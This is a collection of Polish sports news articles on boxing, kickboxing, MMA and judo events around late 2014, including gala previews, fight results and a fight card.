Sala zastępcza nie znalazła akceptacji w oczach rodziców, co być może również jest minusem całej sytuacji. Klub znalazł inne miejsce do zajęć, jednak wiązało się to ze zmianą terminów treningów. Wiadomo, ze dla rodziców i dzieci jest to trudne, gdyż wiąże się z koniecznością zmiany planów i zajęć.
W całej tej sytuacji o kompromis było niezwykle trudno. Z jednej strony klub i jego polityka, z drugiej rodzice i dzieci, które chcą trenować i rozwijać się, ale zmiana terminów zajęć jest nie do zaakceptowania. W całej sytuacji najbardziej cierpi judo. Hetman zamyka sekcję i tym samym wiele dzieci trenujących zakończy swoją przygodę. Przygodę, która była dla nich zabawą, ale i nauką. Judo to dyscyplina, która jest bogata na polu kultury, relacji międzyludzkich. Szkoda, że w Białymstoku sekcja judo zakończyła działalność. Czy coś jeszcze w tej kwestii zmieni się?
KM
Manny Pacquiao nie ustaje w naciskach na Floyda Mayweathera Jr. Pacman za wszelką cenę chce zmierzyć się z Moneyem. Walka w mediach już wystartowała. Kiedy początek negocjacji? Kiedy poznamy termin walki?
Pacquiao w swojej ostatniej walce pewnie pokonał Chrisa Algieriego i po tym starciu zaczął głośno mówić o chęci boksowania z Mayweatherem. Warto podkreślić, że fabuła możliwego starcia Pacman – Money rozpoczęła się już dużo, dużo wcześniej. Walka Pacquiao i Mayweathera byłaby największym wydarzeniem XXI wieku w sporcie.
Pacman jest pewny siebie. – Mayweather znalazł się ślepym zaułku. On nie ma gdzie uciec i musi ze mną walczyć. Ja postaram się, aby nasz pojedynek był jak najbardziej widowiskowy dla kibiców – podkreśla Pacquiao. Widać, że Filipińczyk za wszelką cenę chce stanąć oko w oko z uznawanym za najlepszego boksera na świecie Mayweatherem. W mediach społecznościowych fani organizują się i wywierają nacisk na Moneya, aby przyjął wyzwanie Pacmana.
Mayweather od rywalizacji z Pacquiao nie zamierza uciekać. – Oczywiście, że chciałbym walczyć z Manny Pacquiao i staramy się, aby do tej walki doszło. Pięściarz odpowiada na zarzuty Filipińczyka: – Floyd Mayweather nie boi się nikogo i nie unika żadnego z rywali.
Wiadomo, że walka tytanów to ogromne pieniądze. Zainteresowanie mediów, sponsorów i poziom przedsięwzięcia powoduje, że to wydarzenie wykracza poza ramy czysto sportowej rywalizacji. Na poziomie boksu pieniądze to nie wszystko, co podkreśla Pacquiao. – Mayweather może wziąć za ten pojedynek tyle pieniędzy, ile tylko chce. W styczniu tego roku wyzwałem go do walki proponując, aby dochód z niej przeznaczyć na cele dobroczynne. Jak widać dla Pacmana najważniejsza jest walka z Mayweatherem. Filipińczyk podchodzi do tej kwestii ambicjonalnie. Po prostu chce stoczyć wielką walkę, w której świata przekona się o tym, kto jest najlepszym bokserem na świecie.
Pacquiao głośno mówi o chęci rywalizacji z Moneyem. W końcu sam Mayweatherem zabrał głos w tej sprawie i nie uciekał się do ogólników. – Przyszedł czas, abym i ja się odezwał i powiedział wprost, że chcę tej walki! Zorganizujmy ją 2 maja 2015 roku. Niech 2 maja dojdzie do walki Floyd Mayweather vs. Manny Pacquiao! Ja chcę tej walki, ponieważ będę mógł wreszcie pokazać, że Pacquiao nie walczy na tym poziomie, co ja – powiedział Money. Czy w maju będziemy świadkami najlepszej walki w historii?
Pacquaio i Mayweather to obecnie dwa największe, budzące ogromne emocje bokserskie nazwiska. Ich starcie zelektryzuje cały świat. Czy do niego dojdzie? Wokół Mayweathera krążą również inni. Khan, Cotto, Alvarez. Wydaje się, że najbliżej mimo wszystko jest Pacman. Bo o Mayweathera trzeba zabiegać. Stawka jest wielka. Na każdym polu. Money is Money.
KM
Mariusz Wach odniósł kolejne zwycięstwo po powrocie na ring. Tym razem Wiking podczas gali Windoor Boxing Night w Radomiu pokonał przez nokaut Travisa Walkera. Triumfowała również Ewa Brodnicka. „Królowa” okazała się lepsza od Bułgarki Galiny Gumiilskiej.
Wach kontrolował przebieg pojedynku, do którego był bardzo dobrze przygotowany. Walker nie wytrzymał rywalizacji na polu kondycyjnym. Amerykanin w drugiej rundzie starał się przyspieszyć i zaskoczyć Wikinga, jednak Polak bronił się skutecznie. Wach pewnie trzymał gardę i czekał na najlepszą chwilę do ataku. Walker z rundy na rundę wyglądał coraz gorzej, a Wiking postanowił uderzyć w szóstej rundzie. Po serii ciosów Amerykanin był liczony na stojąco, a po chwili kolejnych czystych ciosów sędzia zastopował walkę. Wach wyczuł doskonały moment na zakończenie walki. Walker przegrał piąty pojedynek z rzędu, a Wiking pokazał, że odpoczynek od boksu nie sprawił, iż zatracił on umiejętności bokserskie. Z pewnością Walker nie był tak mocny jak Kurtagić, ale był gotowy do rywalizacji. Amerykanin na początku starcia chciał zaskoczyć Wacha, jednak Polak dobrze trzymał gardę.
Druga walka po powrocie Wacha na plus. Tym razem Wiking wygrał przez techniczny nokaut w szóstej rundzie. Warto zauważyć, że Wach wszedł już w rytm i „wyczuł” ring. Teraz powoli nadchodzi czas na kolejne wyzwania. Być może rywali trudniejszych i bardziej wymagających. Czy Wacha stać jeszcze na rywalizację na najwyższym poziomie?
Słyszysz Ewa Brodnicka, myślisz sukces gwarantowany. Upór, ambicja, pracowitość, skuteczność – to charakterystyka naszej mistrzyni. Brodnicka nieustannie doskonali się. Przekonują się o tym jej kolejne rywalki. Na gali w Radomiu „Królowa” skrzyżowała rękawice z Galiną Gumiilską. Posiadaczka pasa WBF International w kategorii junior półśredniej była zdecydowaną faworytką, jednak Bułgarka okazała się trudną przeciwniczką. Warto podkreślić, że zwycięstwo Brodnickiej ani przez chwilę nie było zagrożone. Doświadczenie w boksie jest istotne, czego przykładem jest Gumiilska. Choć przegrała to przetrwała cały dystans, mądrze odpierając ataki „Królowej” i szukając swojej szansy. Gumiilska krzywdy Polce nie zrobiła, ale dała naszej zawodniczce możliwość boksowania w całym wymiarze pojedynku. Dla Brodnickiej było to istotne również ze względów kondycyjnych, aby przekonać się o swoich możliwościach i wytrzymałości. Gumiilska to innej klasy rywalka niż Jekaterina Lecko, z która „Królowa” walczyła wcześniej. Bój z Bułgarką to kolejne doświadczenie dla Brodnickiej w tym roku. Kolejne zwycięskie. Brodnicka wygrała po raz czwarty w tym roku. Sędziowie nie mieli żadnych wątpliwości – po sześciu rundach wszyscy punktowali 60-54. Teraz przed Ewą Brodnicką kolejne wyzwania i mistrzostwo świata, o które Polka chce walczyć.
Kamil Łaszczyk w wadze piórkowej na punkty pokonał Antonio Horvaticia. Polak był zdecydowanie lepszy, ale nie mógł nie udało mu się zakończyć walki przed czasem. Chorwat walczył tylko i wyłącznie na przetrwanie, zwycięstwo Łaszczyka ani przez chwilę nie było zagrożone. W Radomiu po roku na ring wrócił Damian Jonak. Po ośmiorundowej rywalizacji Polak na punkty pokonał Bradleya Pryce’a – 77:75, 76:75, 76:75.
Gala Windoor Boxing Night w Radomiu była kolejnym istotnym wydarzeniem dla Mariusza Wacha. Wiking stopniowo wraca do rywalizacji po dwuletniej przerwie i prezentuje się poprawnie. Czas, aby Wach spróbował swoich sił z poważniejszymi rywalami. Swego czasu był czołowym bokserem wagi ciężkiej, czy jest w stanie wrócić na szczyt? Ewa Brodnicka po raz kolejny udowodniła swoją klasę. Kiedy spełni swoje mistrzowskie marzenia?
Wyniki walk:
Robert Parzęczewski na punkty pokonał Andreia Salachudzinau
Michał Gerlecki w szóstej rundzie znokautował Jewgienijsa Belitcenko
Ewa Brodnicka na punkty pokonała Galinę Gumliiską
Kamil Łaszczyk na punkty pokonał Antonio Horvatica
Nikodem Jeżewski na punkty pokonał Łukasza Zygmunta
Damian Jonak na punkty pokonał Bradleya Price'a
Mariusz Wach przez techniczny nokaut wygrał z Travisem Walkerem
KM
Triumfy gwiazd podczas gali DSF Kickboxing Challenge 2. Dorota Godzina i Łukasz Wichowski byli autorami prawdziwych widowisk, pełnych emocji i sportowych wrażeń. W Ząbkach rywalizacja stała na wysokim poziomie.
Dorota Godzina spotkała się z Eweliną Nowosielską w walce o tytuł zawodowej mistrzyni Mazowsza w K-1 w kategorii do 56 kg. Wielokrotna mistrzyni Polski podkreślała, że różnica między rywalizacją amatorską, a zawodową sprowadza się do kwestii jakości wygranej. Podczas gali DSF jakość odmieniana była przez wszystkie przypadki. Doświadczona Godzina i utalentowana Nowosielska w ringu pokazały wysokiej klasy kickboxing. Poza tym należy podkreślić, że obie zawodniczki udowodniły, że są charakterne. Pokazały bogaty repertuar zagrań, walczyły agresywnie i ciekawie dla oka. Okazało się, że Godzina jest prawdziwą gwiazdą i konsekwentnie pracuje na swój sukces w zawodowstwie. Zawodniczka DSF Kickboxing Team wygrała rywalizację z Nowosielską i na tym z pewnością nie poprzestanie. Dorota Godzina udowodniła, że śmiało można określać ją mianem gwiazdy.
Swoją klasę potwierdził również Łukasz Wichowski, który po raz drugi spotkał się z Tomasem Neupauerem. Stawką pojedynku, stoczonego w formule full –contact, był pas Zawodowego Młodzieżowego Międzynarodowego Mistrza. Polak podczas DSF Kickboxing Challenge okazał się lepszy od rywala ze Słowacji. Tym razem było tak samo. W drugiej rundzie Wichowski nie miał litości dla swojego przeciwnika, Polak niemiłosiernie mocnymi ciosami trafiał Neupauera, który lądował na deskach. Dwukrotnie udało mu się wstać, jednak za trzecim razem okazał się bezsilny. Wichowski odniósł przekonujące zwycięstwo, a na dodatek dostarczył publiczności ogromnych emocji i wrażeń.
Będące głównymi atrakcjami imprezy pojedynki Godziny i Wichowskiego nie zawiodły. Kickboxing w najczystszym, najlepszym i niezwykle efektownym wydaniu. Czy takie walki mogą przekonać niedowiarków do kickboxingu? Nie tylko mogą, a wręcz muszą. Kickboxing wchodzi na salony? Spokojnie. Krok po kroku. Wszystko musi być prowadzone z głową, mądrze. Dobrą drogą jest organizacja zawodowych gal z Polakami w roli głównej. W ten sposób kickboxing może tylko i wyłącznie zyskać.
W Ząbkach publiczność zobaczyła w akcji mistrza świata w kick-light Kamila Rutę. Zawodnik DSF Kickboxing Team zaprezentował się w turnieju K-1 w kategorii 81 kg. Ruta nie pozwolił publiczności na długie oczekiwanie. Mistrz świata szybko znokautował Sebastiana Adamskiego. Ruta awansował do finału, w którym zmierzy się z Mateuszem Żukowskim. Żukowski stoczył efektowną rywalizację z Jakubem Bartnikiem. Fighterzy dostarczyli publiczności garść mocnych atrakcji. Żukowski i Bartnik zostawili w ringu kawał zdrowia, rywalizując „na całego”. Żaden fighter nie był w stanie zakończyć pojedynku przed czasem, a w ostatecznym rozrachunku lepszy okazał się Żukowski.
Ząbki były miejscem ciekawej rywalizacji. Publiczność nie mogła nudzić się podczas imprezy, która miała bogatą oprawę. Organizatorzy zadbali o dodatkowe atrakcje dla fanów. Goście specjalni w osobach Karoliny Kowalkiewicz, Jana Błachowicza, Marcina Różalskiego i Anzora Azhieva wzmocnili markę gali DSF Kickboxing Challenge 2. Grupa DSF nie powiedziała jednak ostatniego słowa.
Finałowa rywalizacja Ruty z Żukowskim odbędzie się 28 lutego w Piasecznie podczas gali DSF Kickboxing Challenge 3.Kickboxing na najwyższym poziomie. Grupa DSF nie zwalnia tempa i cały czas dba o fanów kickboxingu. Kogo zobaczymy na kolejnej gali? Są już Ruta i Żukowski. Kto jeszcze?
KM
Triumf – najlepsze z możliwych słów do określenia wygranej Joanny Jędrzejczyk z Claudią Gadelhą na UFC on FOX 13. W Phoenix Polka odniosła najważniejsze zwycięstwo w swojej karierze.
Jędrzejczyk w ocenie dziennikarzy nie była faworytką starcia z Brazylijką. Claudia Gadelha to fighterka doświadczona, mocna i przede wszystkim posiadająca ogromne umiejętności. Stawiająca pierwsze kroki w UFC Jędrzejczyk stanęła przed trudnym wyzwaniem.
W stójce Polka utrzymywała przewagę i prezentowała się lepiej. Gadelha dążyła do sprowadzenia pojedynku do parteru. Brazylijka szukała swojej szansy, gdyż wiedziała, że w stójce może mieć problemy z Jędrzejczyk. Gadelha w pierwszej rundzie sprowadziła walkę na ziemię. Warto podkreślić, że Jędrzejczyk mądrze broniła się i nie ułatwiała zadania swojej rywalce. Brazylijka zdobyła górną pozycję, co miało pozwolić jej na zyskanie przewagi. Próba dopięcia trójkąta rękoma okazała się nieudana , ponieważ Jędrzejczyk zastosowała skuteczną obronę. W końcówce pierwszej rundy zawodniczka z Olsztyna mocnymi łokciami przy siatce poważnie naruszyła rywalkę, której udało się rozerwać klincz. Jędrzejczyk dołożyła jeszcze potężny podbródkowy. Ten cios zrobił wrażenie na Brazylijce i wyłącznie gong uchronił ją od kolejnych udrzeń. Jędrzejczyk pokazała swoją siłę oraz potencjał. Gadelha zobaczyła, że zawodniczka z Polski będzie trudniejszą przeciwniczką niż przypuszczano.
Po ciężkiej pierwszej rundzie Brazylijka zaczęła dyktować warunki. Gadelha wiedziała, że aby wygrać musi prowadzić walkę. Druga runda to w większości zapaśniczy klincz. Warto podkreślić, że Jędrzejczyk dobrze sobie w nim raziła. Ponadto, Polka nie uciekała od rywalizacji i dobrze prezentowała się w obronie, skutecznie neutralizując przeciwniczkę. Gadelha zaliczyła obalenie i zajęła górną pozycję, jednak nie potrafiła zaskoczyć Polki. Zawodniczka z Olsztyna starała się atakować krótkimi ciosami. W trzeciej rundzie Brazylijka szalała. Inaczej popisów Gadelhi na placu boju nie da się określić. Brazylijka raz po raz rzucała Jędrzejczyk na ziemię, jednak ta wracała na nogi. Gadelha nie dawała za wygraną i sprowadzała walkę na ziemię. Jędrzejczyk była bezsilna wobec konsekwencji rywalki z Kraju Kawy. Gadelha w trzeciej rundzie udowodniła swoją wyższość.
Po takim obrazie ostatniej odsłony starcia wydawało się, że sędziowie wskażą jako zwyciężczynię Brazylijkę. Okazało się inaczej. Ręce w geście triumfu mogła unieść Joanna Jędrzejczyk, która wygrała niejedno głośną decyzję sędziów. Wiele zadaje sobie pytanie: dlaczego? Gadelha w drugiej rundzie zaczęła dominować, a w trzeciej wrzuciła drugi bieg i zdominowała Polkę. Jędrzejczyk miała bardzo dobrą pierwszą odsłonę, w której łokciami naruszyła rywalkę, a na koniec podbródkowym poważnie jej zagroziła.
Jędrzejczyk wygrała, choć trudno jednoznacznie ocenić, czy było to zwycięstwo zasłużone. Polka odniosła najcenniejsze zwycięstwo w swojej dotychczasowej karierze. Z rywalką, która postawiła jej wysoko poprzeczkę. Sędziowie przyznali zwycięstwo Polce i nic tego nie zmieni. Warto podkreślić, że Jędrzejczyk nie była faworytką starcia i jej postawa jest godna uznania. Jak dalej potoczy się kariera Polki w UFC? Każde kolejne zwycięstwo buduje pozycję Jędrzejczyk w bogatej strukturze amerykańskiej organizacji.
KM
Zapraszamy na transmisję telewizyjną na żywo z gali DSF Kickboxing Challenge 2. Startujemy już dziś o 18.30.
[kod]
Zapraszamy do oglądania transmisji na żywo z gali DSF Kickboxing Challenge 2. Emocje gwarantowane. Startujemy o godz. 18.00. ZAPRASZAMY!!!
[kod]
Zapraszamy do oglądania transmisji telewizyjnej na żywo z konferencji prasowej i ważenia przed galą DSF Kickboxing Challenege 2.
[kod]
Zapraszamy na retransmisję z gali DSF Kickboxing Challenge 2, która odbyła się w Ząbkach w 2014 r..
[kod]
13 grudnia kickboxing będzie królował w Ząbkach. Podczas gali DSF Kickboxing Challenge 2 zobaczymy utalentowanych fighterów i prawdziwe show, o czym przekonują organizatorzy imprezy.
Repertuar godny uwagi. Organizatorzy przygotowali turniej w K-1 w kategorii 81 kg, walkę w formule full contact oraz dwie walki wieczoru. Wśród zawodników interesujące i mocne nazwiska. Dorota Godzina, Kamil Ruta, Łukasz Wichowski – to najwyższa półka w naszym kraju. Mistrz świata z 2013 roku w formule kick – light wystąpi w turnieju K-1, który zapowiada się interesująco. Wystąpią w nim młodzi i głodni sukcesu zawodnicy. W pierwszej walce wieczoru zobaczymy Dorotę Godzinę i Ewelinę Nowosielską, a stawką pojedynku będzie tytuł Zawodowej Mistrzyni Mazowsza K-1 w kategorii do pięćdziesięciu sześciu kilogramów. Zawodniczka DSF Kickboxing Team jest faworytką pojedynku. Godzina to doświadczona fighterka, która ma na swoim koncie dwa tytuły amatorskiej mistrzyni świata. Ponadto, jest wielokrotną mistrzynią kraju w różnych formułach. Godzina to doświadczenie, obycie i ogromny repertuar. Do miana uznanej zawodniczki chce dążyć Ewelina Nowosielska. Zawodniczka Semirady Pułtusk jest niezwykle utalentowana i robi ustawiczne postępy. Czy będzie zagrożeniem dla doświadczonej Godziny? Nowosielska w dotychczasowej karierze zdobyła brązowy medal mistrzostw świata juniorów i mistrzostwo Polski juniorów.
Tomas Neupauer pragnie zrewanżować się Łukaszowi Wichowskiemu za porażkę na pierwszej gali DSF. Zawodnik klubu z Koszyc podczas wrześniowego pojedynku został znokautowany przez Polaka, choć to Słowak wydawał się faworytem starcia. Jednak ambicja i waleczność Wichowskiego pozwoliły mu sięgnąć po pas Zawodowego Młodzieżowego Międzynarodowego Mistrza Polski w formule full contact. Warto podkreślić, że jest to starcie zawodników o określonym poziomie. Neupauer był trzykrotnie najlepszy w swoim kraju, Wichowski zdobył Puchar Świata amatorów. Czy Słowak zrewanżuje się polskiemu fighterowi? Jak Wichowski podejdzie do tej walki?
W kontekście gali DSF Kickboxing Challenge 2 mówi się o popularyzacji kickboxingu w naszym kraju. Dyscypliny, która gdzieś tam utknęła i nie może przebić się do społecznej świadomości. Z pewnością takie przedsięwzięcie jest dobrym krokiem ku popularyzacji, a przede wszystkim rozwojowi kickboxingu w Polsce. Mamy w naszym kraju mocne nazwiska i utytułowanych zawodników. W Ząbkach zobaczymy Wichowskiego, Godzinę i Rutę, czyli fighterów, którzy walczyli w różnych zakątkach świata i to z powodzeniem.
Warto zaznaczyć, że grupa DSF planuje kolejne gale. Czy będą pełne atrakcji jak ta w Ząbkach? Oprócz interesujących walk dla widzów przewidziane są liczne atrakcje. Gośćmi specjalnymi imprezy będą znani z MMA zawodnicy: Karolina Kowalkiewicz, Jan Błachowicz, Marcin Różalski i Anzor Azhiev. Dodatkowym smaczkiem będzie obecność Przemysława Salety, który będzie pełnił bardzo ciekawą rolę.
Prawdziwe show tak ma wygląda gala DSF Kickboxing Challenge 2. To będzie widowisko, ale nie zabraknie emocji czysto sportowych. Zapraszamy Państwa do śledzenia gali na antenie FIGHTIME.
Karta walk:
Walki rankingowe (3 x 2 min):
1. K-1 75 kg – Lech Rosiński (X Fight Piaseczno) vs Sebastian Truchan (Panzer Suwałki)
2. K-1 60 kg – Marcin Nasiadko DSF Kickboxing Team vs Frantisek Lukac (Słowacja- Koszyce)
3. K-1 67 kg Maciej Garbaczewski (TKKF Siedlce) vs Hubert Klaus (Panzer Suwałki )
4. 91 kg full contact – Adrian Kowalkowski (X Fight Piaseczno) vs Rafał Aleksandrowicz (Politechnika Lublin)
Turniej w K-1 81 kg- półfinały (3×2 min):
5. Jakub Bartnik (X Fight Piaseczno) vs Mateusz Żukowski (Terlik Team Mikołajki)
6. Kamil Ruta – DSF Kickboxing Team vs Sebastian Adamski (Paco Katowice)
Walki Wieczoru:
O zawodowe Mistrzostwo Mazowsza K-1 56 kg (3×3 min):
7. Dorota Godzina (DSF Kickboxing Team) vs Ewelina Nowosielska (Semiramida Pułtusk)
W obronie pasa zawodowego Międzynarodowego Mistrza Polski młodzieżowców 81 kg full contact (5 x 2 min):
8. Łukasz Wichowski (DSF Kickboxing Team) vs Tomas Neupauer (Słowacja)
KM
Kolejna walka przed Ewą Brodnicką, która w swych dłoniach dzierży pas WBF International kategorii junior półśredniej. 12 grudnia „Królowa” zmierzy się z Bułgarką Galiną Gumliiską podczas gali Windoor Boxing Night w Radomiu.
Brodnicka jest faworytką pojedynku, choć jej rywalka należy do twardych zawodniczek. Gumliiska ma ujemny bilans (10-34), ale warto przypomnieć, że w przeszłości pokonała Iwonę Guzowską. Bułgarka charakteryzuje się wytrzymałością i konsekwencją. Z pewnością Brodnickiej nie przestraszy się, jednak mimo wszystko jej akcje nie stoją wysoko. Jaki plan na walkę ma „Królowa”? W ostatnim pojedynku z Jekateriną Lecko, Brodnicka zdominowała rywalkę, która nie wytrzymała naporu Polki. Sędzia przerwał walkę i zarazem męczarnie Łotyszki, nie będącej w stanie w żaden sposób przeciwstawić się zawodniczce z Warszawy. Czy Gumliiska zawiesi wyżej poprzeczkę? Z pewnością jest bardziej doświadczona i obyta na ringu niż Lecko, co może wskazywać na większe prawdopodobieństwo rywalizacji. Brodnicka jest w pełni gotowa do tej walki. Innego scenariusza jak wygrana nie dopuszcza do siebie.
Co dalej? Walką z Gumliiską kończy się rok dla Brodnickiej. Warto podkreślić, że był to czas udany. Jednak „Królowa” patrzy w przyszłość. W przyszłym roku ma w planach walkę o mistrzostwo świata. Czy jej pragnienia się ziszczą? Z pewnością Brodnicka jest na najlepszej drodze ku temu. Zawodniczka grupy Tymex Boxing śmiało poczyna sobie na zawodowych ringach, imponuje ambicją i w pełni profesjonalnym podejściem do boksu. W Radomiu musi pokonać Bułgarkę, aby w przyszłym roku realizować kolejne cele.
Na gali Windoor Boxing Night zobaczymy byłego pretendenta do tytułu mistrza świata wagi ciężkiej Mariusza Wacha. Popularny Wiking zmierzy się z Travisem Walkerem. Wach w tym roku wrócił na ring po dwuletniej przerwie. W pojedynku z Semirem Kurtagiciem okazał się lepszy, ale ta walka w żaden sposób nie była miarodajna. Serb przetrwał cały dystans, ale przyjmował wyłącznie ciosy Wacha, sam nie przejawiał głębszej chęci do boksowania. Trudno jednoznacznie ocenić dyspozycję Wikinga. Czy w pojedynku z Walkerem Wach będzie w stanie zaprezentować w pełni swoją formę? Amerykanin jest znanym zawodnikiem. W 2012 roku Walker zmierzył się z Tomaszem Adamkiem i choć miała „Górala” na tacy, to nie udało mu się wygrać. Polak znokautował Amerykanina w piątej rundzie. Od tamtego czasu Walker podróżuje, ale nie w celach turystycznych. Walczył m.in. w Australii czy Niemczech. Od czasu walki z Adamkiem stoczył cztery pojedynki, jednakże wszystkie przegrał. Jak będzie wyglądała walka z Wachem? Spotka się dwóch „ciężkich” po przejściach. Ponadto, warto zaznaczyć, że pojedynek stoi po znakiem zapytania. Mariusz Wach został zatrzymany wraz z dwoma innymi pięściarzami przez policję.
W Radomiu zobaczymy także Damiana Jonaka, który wraca do ojczyzny po pobycie w Stanach Zjednoczonych. W Ameryce Polak nie stoczył żadnej walki. W Radomiu stanie w ringu z Bradleyem Pryce’m. Z pewnością nie będzie to łatwy rywal, jednak faworytem jest Jonak. Dziewiątą walkę na zawodowym ringu stoczy Michał Gerlecki. Na gali Windoor Boxing Night wystąpi Robert Parzęczewski, który chce pobić rekord Krzysztofa „Diablo” Włodarczyka i zostać najmłodszy polskim mistrzem świata. W Radomiu jego rywalem będzie Andrei Salakhutdzinau.
Gwiazdą gali z pewnością będzie Ewa Brodnicka. Choć bokser kobiecy jest niedoceniany to warto zwrócić uwagę na fakt, że mamy bardzo utalentowaną i gotową na sukces zawodniczkę. W Radomiu zobaczymy również „młode wilki” w postaci Gerleckiego i Parzęczewskiego, którzy nie ukrywają swoich ambicji. Dobry poziom gwarantuje Damian Jonak. Czy w ringu zobaczymy Mariusza Wacha?
KM
Polski Kick-boxer urodzony 26 sierpnia 1966 roku w Milanówku. Mistrz Świata w Kick-boxingu w formulach Semi i Light Contact. Jest pięciokrotnym mistrzem Europy. W swoim dorobku ma także Mistrzostwo Świata i Europy Weteranów (40-50 lat), które zdobył w latach 2009 i 2010 roku. W 2011 roku zdobył Puchar Świata Weteranów. W latach 2006-2010 był wiceprezesem w Polskim Związku Kick-boxingu. Piotr posiada czarny pas z piątym stopniem mistrzowskim. W debiucie Polski na mistrzostwach Świata Wako w 1985 roku w Budapeszcie, Piotr po raz pierwszy stanął na podium zdobywając Mistrzostwo Świata w kategorii wagowej do 57 kg w formule semi-contact. Rok później Polak zdobył pierwszy tytuł Mistrza Europy. W roku 1987 zdobył dwa tytuły mistrza Europy w formule light i semi contact. W latach 1991-1994 walczył zawodowo w formule full-contact, pokonując takich zawodników jak mistrz świata Andre Sabatie czy mistrza świata Marco Markowa. Sportową karierę zakończył w 1995 roku. Obecnie jest trenerem Kick-boxingu. Wychował takich zawodników jak: Dorota Godzina, Emilia Szabłowska, Wojciech Myśliński, Piotr Bąkowski, Wojciech Ołtarzewski, Tomasz Bąk i wielu innych.
Zapraszamy do obejrzenia wywiadu z Dorotą Godziną gwiazdą gali DSF Kickboxing Challenege 2 oraz Piotrem Siegoczyńskim wybitnym polskim kickboxerem a obecnie trenerem. Goście opowiadają o udziale w nowym projekcie polskiej sceny sztuk walk czyli o prężnie działającej federacji DSF Kickboxing Challenge.
[kod]
Mistrz świata federacji WBO wagi super średniej Arthur Abraham zmierzy się w pojedynku rewanżowym z Paulem Smithem. Czempion zapowiada, że rezultat tego pojedynku będzie korzystny dla niego.
W pierwszym starciu obu panów triumfował Abraham, jednak decyzja sędziów była kontrowersyjna i wątpliwa. Po walce Smith miał pretensje do arbitrów i domagał się pojedynku rewanżowego. Pretendent ocenił, że punktacja 117-111, 117-111oraz 119-109 nie była obrazem wyrównanej walki, lecz przedstawiała nastawienie sędziów do pojedynku i wskazywanie jedynego możliwego zwycięzcy. Smith nie mógł się pogodzić z takim stanem rzeczy. W związku z nienajlepszą atmosferą wokół pojedynku grupa Sauerland postanowiła zorganizować rewanż.
Do ponownego starcia Abrahma ze Smithem dojdzie 21 lutego 2015 roku w hali O2 World w Berlinie. Czy tym razem nie będzie żadnych kontrowersji i wątpliwości? Arthur Abraham znalazł receptę na zamknięcie ust krytykom. Oczywiście, na razie czyni to tylko i wyłącznie werbalnie. Czy w ringu uczyni to, co zapowiada? A mówi krótko i zdecydowanie: – „21 lutego go znokautuję!”
Takie rozstrzygnięcie z pewnością nikomu nie dałoby podstaw do roszczenia jakichkolwiek pretensji. Abraham po raz drugi stanie naprzeciwko Smitha, choć jak sam podkreśla już raz go pokonał. Zgodnie ze swoją zapowiedzą wejdzie ponownie do ringu i udowodni rywalowi, kto jest lepszy. Mistrz świata WBO wagi super średniej jest pewny swego. – „Pokonałem go już raz i teraz mam zamiar wygrać z nim w spektakularnym stylu”.
Kwestią fundamentalną jest odpowiedź na pytanie, czy zwycięstwo w pierwszym pojedynku satysfakcjonuje mistrza świata? Być może wygrana tak, ale styl z pewnością już nie. Choć zwycięzców się nie sądzi, to kontrowersje i oburzenie rywala, a także dyskusja w środowisku bokserskim nie wpływa najlepiej na atmosferę w obozie i przede wszystkim, na samego Abrahama. Trzeba zaznaczyć, że fakt, iż czempion decyduje się na rewanż świadczy o tym, że sam chce wyraźnie zaznaczyć swoją dominację. Czy dotrzyma słowa i znokautuje Smitha?
Pretendent inaczej postrzega całą sprawę. Smith uważa, że to on wygrał pierwszą walkę i tylko wyłącznie pomocy sędziów Abraham zawdzięcza triumf. Na tym polu widoczny jest konflikt, który trzeba rozstrzygnąć. Dobrze, że dojdzie do starcia rewanżowego, mającego dać odpowiedź na pytanie – kto jest lepszy. Wiadomo, że z korzystniejszej pozycji startuje Abraham, bo jest mistrzem, ale Smith dokłada mu na każdym kroku i wytyka sędziowską pomoc. Czy czempion WBO wytrzyma te oskarżenia i presję?
– „Uważam, że wygrałem pierwszą walkę. Tym razem wiem, że mogę go pokonać. Jestem przekonany, że mogę walczyć na światowym poziomie” – przekonuje Smith, który wykazuje się pewnością siebie. Rewanżowe starcie de facto rozstrzygnie całą rywalizację. Dla jednego z pięściarzy pierwsza walka była istotna, drugi uznaje ją za nieważną. Abraham może potwierdzić swoją dominację, a Smith pokazać, że wykazał się przebiegłością Sherlocka Holmesa i wykrył spisek. Czyja racja wygra? Abraham zapowiada nokaut, Smith ma świadomość swojej siły. Oby o wyniku nie musieli decydować sędziowie.
KM
W Tokio odbyły się zawody z cyklu Grand Slam w judo, w których wystartowało siedmioro reprezentantów Polski. Niestety, tym razem brak pozytywnych akcentów. Występ w Tokio naszym reprezentantom po prostu nie wyszedł.
Całą rywalizację zdominowali Japończycy, którzy już pierwszego dnia turnieju wywalczyli cztery złote medale. Warto podkreślić, że triumfowała Kaori Matsumoto (57 kg) mistrzyni olimpijska z Londynu. Życiowy sukces odniósł Hifumi Abe. Zaledwie 17-letni judoka triumfował w kategorii wagowej 66 kg. W pierwszym dnu turnieju Japończycy zdobyli cztery na pięć możliwych złotych medali. Jedynie Kim Won Jin z Koreii Południowej zwyciężył w kategorii 60 kg. To właśnie Koreańczycy byli najgroźniejszymi rywalami Japończyków, jednak nie byli w stanie im zagrozić. Co prawda, w ostatnim dniu reprezentanci Korei zdobyli dwa złote medale, jednakże w klasyfikacji końcowej wyraźnie triumfowali gospodarze. Japończycy zdobyli aż 26 medali, w tym osiem złotych. Koreańczycy zapisali na swoim koncie sześć krążków, trzy z najcenniejszego kruszcu.
O takich zdobyczach w Tokio Polacy mogli tylko i wyłącznie pomarzyć. Start w Japonii naszym reprezentantom najzwyczajniej w świecie nie wyszedł. Polacy wygrali tylko dwie walki – Wiłkomirski i Beta. Agata Perenc i Ewa Konieczny nie powalczyły zbyt długo. W swoich pojedynkach musiały uznać wyższość rywalek z Japonii, odpowiednio Ai Shishime i Ami Kondo. Aleksander Beta w kategorii do 66 kg rozprawił się z reprezentantem Jemenu Mustafą Khousrofem, ale zatrzymał się na zawodniku gospodarzy Masashim Ebinumie. Do skromnego dorobku Polaków w Tokio wygraną dołożył doświadczony Krzysztof Wiłkomirski, jednak judoka Musu Warszawa w swoim drugim pojedynku pożegnał się z zawodami.
